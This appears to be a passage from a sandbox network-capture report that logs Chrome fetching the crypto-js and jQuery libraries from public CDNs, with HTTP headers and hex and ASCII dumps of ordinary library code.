2024-10-07 18:59:03 UTC	1369	IN	Data Raw: 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f 68 61 73 68 2e 77 6f 72 64 73 2c 73 3d 74 5b 65 2b 30 5d 2c 63 3d 74 5b 65 2b 31 5d 2c 61 Data Ascii: ({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._hash.words,s=t[e+0],c=t[e+1],a
2024-10-07 18:59:03 UTC	1369	IN	Data Raw: 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 5d 29 2c 62 3d 44 28 62 2c 78 2c 53 2c 6d 2c 66 2c 32 31 2c 41 5b 35 31 5d 29 2c 6d 3d 44 Data Ascii: b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50]),b=D(b,x,S,m,f,21,A[51]),m=D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49734	104.17.25.14	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:04 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:04 UTC	928	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:04 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 388194 Expires: Sat, 27 Sep 2025 18:59:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GpTFWRHeE4oMWL%2FbEIeal07uDegjwxfApCpZ%2FtoXz2coWdgVVSzCYTvkmSciFjBFBtP0cIXiJWSAzy9QoyAbQkCRgjJVXNOcJPWPyfs70RDzjMPcNF%2BWH9fVmsoLeXerol6lk6uP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8cf0204f484118bc-EWR
2024-10-07 18:59:04 UTC	441	IN	Data Raw: 37 62 66 37 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf7!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-10-07 18:59:04 UTC	1369	IN	Data Raw: 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 70 72 6f 74 6f Data Ascii: ?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.proto
2024-10-07 18:59:04 UTC	1369	IN	Data Raw: 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 28 34 29 2e 72 65 Data Ascii: words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)try{return i.randomBytes(4).re
2024-10-07 18:59:04 UTC	1369	IN	Data Raw: 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 28 69 2c 61 29 Data Ascii: ta.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+=o)this._doProcessBlock(i,a)
2024-10-07 18:59:04 UTC	1369	IN	Data Raw: 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 35 5d 3d 65 5b 35 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 Data Ascii: ;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1:0)\|0,e[5]=e[5]+886263092+(e
2024-10-07 18:59:04 UTC	1369	IN	Data Raw: 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 33 5d 3d 49 5b 33 5d 2b 28 49 5b 32 5d 3c 3c 38 7c 49 5b Data Ascii: ],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>>>16)\|0,t[3]=I[3]+(I[2]<<8\|I[
2024-10-07 18:59:04 UTC	1369	IN	Data Raw: 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 77 6f 72 64 73 2c 72 3d Data Ascii: instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:function(t){for(var e=t.words,r=
2024-10-07 18:59:04 UTC	1369	IN	Data Raw: 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 Data Ascii: ndexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstu
2024-10-07 18:59:04 UTC	1369	IN	Data Raw: 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f 68 61 73 68 2e 77 6f 72 64 73 2c 73 3d 74 5b 65 2b 30 5d 2c 63 3d 74 5b 65 2b 31 5d Data Ascii: nd({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._hash.words,s=t[e+0],c=t[e+1]
2024-10-07 18:59:04 UTC	1369	IN	Data Raw: 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 5d 29 2c 62 3d 44 28 62 2c 78 2c 53 2c 6d 2c 66 2c 32 31 2c 41 5b 35 31 5d 29 2c 6d Data Ascii: m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50]),b=D(b,x,S,m,f,21,A[51]),m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49735	151.101.2.137	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:04 UTC	354	OUT	GET /jquery-1.9.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:04 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 268381 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-4185d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 07 Oct 2024 18:59:04 GMT Age: 4096207 X-Served-By: cache-lga21952-LGA, cache-ewr-kewr1740062-EWR X-Cache: HIT, HIT X-Cache-Hits: 561, 1 X-Timer: S1728327544.303169,VS0,VE1 Vary: Accept-Encoding
2024-10-07 18:59:04 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 31 2e 39 2e 31 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 30 35 2c 20 32 30 31 32 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 Data Ascii: /! jQuery JavaScript Library v1.9.1 * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright 2005, 2012 jQuery Foundation, Inc. and other contributors * Released under the MIT license * http://jquery.org/license * * D
2024-10-07 18:59:04 UTC	1378	IN	Data Raw: 4f 66 2c 0a 09 63 6f 72 65 5f 74 6f 53 74 72 69 6e 67 20 3d 20 63 6c 61 73 73 32 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2c 0a 09 63 6f 72 65 5f 68 61 73 4f 77 6e 20 3d 20 63 6c 61 73 73 32 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 63 6f 72 65 5f 74 72 69 6d 20 3d 20 63 6f 72 65 5f 76 65 72 73 69 6f 6e 2e 74 72 69 6d 2c 0a 0a 09 2f 2f 20 44 65 66 69 6e 65 20 61 20 6c 6f 63 61 6c 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 0a 09 6a 51 75 65 72 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 73 65 6c 65 63 74 6f 72 2c 20 63 6f 6e 74 65 78 74 20 29 20 7b 0a 09 09 2f 2f 20 54 68 65 20 6a 51 75 65 72 79 20 6f 62 6a 65 63 74 20 69 73 20 61 63 74 75 61 6c 6c 79 20 6a 75 73 74 20 74 68 65 20 69 6e 69 74 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 27 Data Ascii: Of,core_toString = class2type.toString,core_hasOwn = class2type.hasOwnProperty,core_trim = core_version.trim,// Define a local copy of jQueryjQuery = function( selector, context ) {// The jQuery object is actually just the init constructor '
2024-10-07 18:59:04 UTC	1378	IN	Data Raw: 65 72 0a 09 63 6f 6d 70 6c 65 74 65 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 65 76 65 6e 74 20 29 20 7b 0a 0a 09 09 2f 2f 20 72 65 61 64 79 53 74 61 74 65 20 3d 3d 3d 20 22 63 6f 6d 70 6c 65 74 65 22 20 69 73 20 67 6f 6f 64 20 65 6e 6f 75 67 68 20 66 6f 72 20 75 73 20 74 6f 20 63 61 6c 6c 20 74 68 65 20 64 6f 6d 20 72 65 61 64 79 20 69 6e 20 6f 6c 64 49 45 0a 09 09 69 66 20 28 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 20 7c 7c 20 65 76 65 6e 74 2e 74 79 70 65 20 3d 3d 3d 20 22 6c 6f 61 64 22 20 7c 7c 20 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 20 3d 3d 3d 20 22 63 6f 6d 70 6c 65 74 65 22 20 29 20 7b 0a 09 09 09 64 65 74 61 63 68 28 29 3b 0a 09 09 09 6a 51 75 65 72 79 2e 72 65 61 64 79 28 29 3b 0a 09 09 Data Ascii: ercompleted = function( event ) {// readyState === "complete" is good enough for us to call the dom ready in oldIEif ( document.addEventListener \|\| event.type === "load" \|\| document.readyState === "complete" ) {detach();jQuery.ready();
2024-10-07 18:59:04 UTC	1378	IN	Data Raw: 7b 0a 0a 09 09 09 09 2f 2f 20 48 41 4e 44 4c 45 3a 20 24 28 68 74 6d 6c 29 20 2d 3e 20 24 28 61 72 72 61 79 29 0a 09 09 09 09 69 66 20 28 20 6d 61 74 63 68 5b 31 5d 20 29 20 7b 0a 09 09 09 09 09 63 6f 6e 74 65 78 74 20 3d 20 63 6f 6e 74 65 78 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 6a 51 75 65 72 79 20 3f 20 63 6f 6e 74 65 78 74 5b 30 5d 20 3a 20 63 6f 6e 74 65 78 74 3b 0a 0a 09 09 09 09 09 2f 2f 20 73 63 72 69 70 74 73 20 69 73 20 74 72 75 65 20 66 6f 72 20 62 61 63 6b 2d 63 6f 6d 70 61 74 0a 09 09 09 09 09 6a 51 75 65 72 79 2e 6d 65 72 67 65 28 20 74 68 69 73 2c 20 6a 51 75 65 72 79 2e 70 61 72 73 65 48 54 4d 4c 28 0a 09 09 09 09 09 09 6d 61 74 63 68 5b 31 5d 2c 0a 09 09 09 09 09 09 63 6f 6e 74 65 78 74 20 26 26 20 63 6f 6e 74 65 78 74 2e 6e 6f 64 65 54 Data Ascii: {// HANDLE: $(html) -> $(array)if ( match[1] ) {context = context instanceof jQuery ? context[0] : context;// scripts is true for back-compatjQuery.merge( this, jQuery.parseHTML(match[1],context && context.nodeT
2024-10-07 18:59:04 UTC	1378	IN	Data Raw: 65 63 74 6f 72 3b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 74 68 69 73 3b 0a 09 09 09 09 7d 0a 0a 09 09 09 2f 2f 20 48 41 4e 44 4c 45 3a 20 24 28 65 78 70 72 2c 20 24 28 2e 2e 2e 29 29 0a 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 21 63 6f 6e 74 65 78 74 20 7c 7c 20 63 6f 6e 74 65 78 74 2e 6a 71 75 65 72 79 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 28 20 63 6f 6e 74 65 78 74 20 7c 7c 20 72 6f 6f 74 6a 51 75 65 72 79 20 29 2e 66 69 6e 64 28 20 73 65 6c 65 63 74 6f 72 20 29 3b 0a 0a 09 09 09 2f 2f 20 48 41 4e 44 4c 45 3a 20 24 28 65 78 70 72 2c 20 63 6f 6e 74 65 78 74 29 0a 09 09 09 2f 2f 20 28 77 68 69 63 68 20 69 73 20 6a 75 73 74 20 65 71 75 69 76 61 6c 65 6e 74 20 74 6f 3a 20 24 28 63 6f 6e 74 65 78 74 29 2e 66 69 6e 64 28 65 78 70 72 29 0a 09 09 Data Ascii: ector;return this;}// 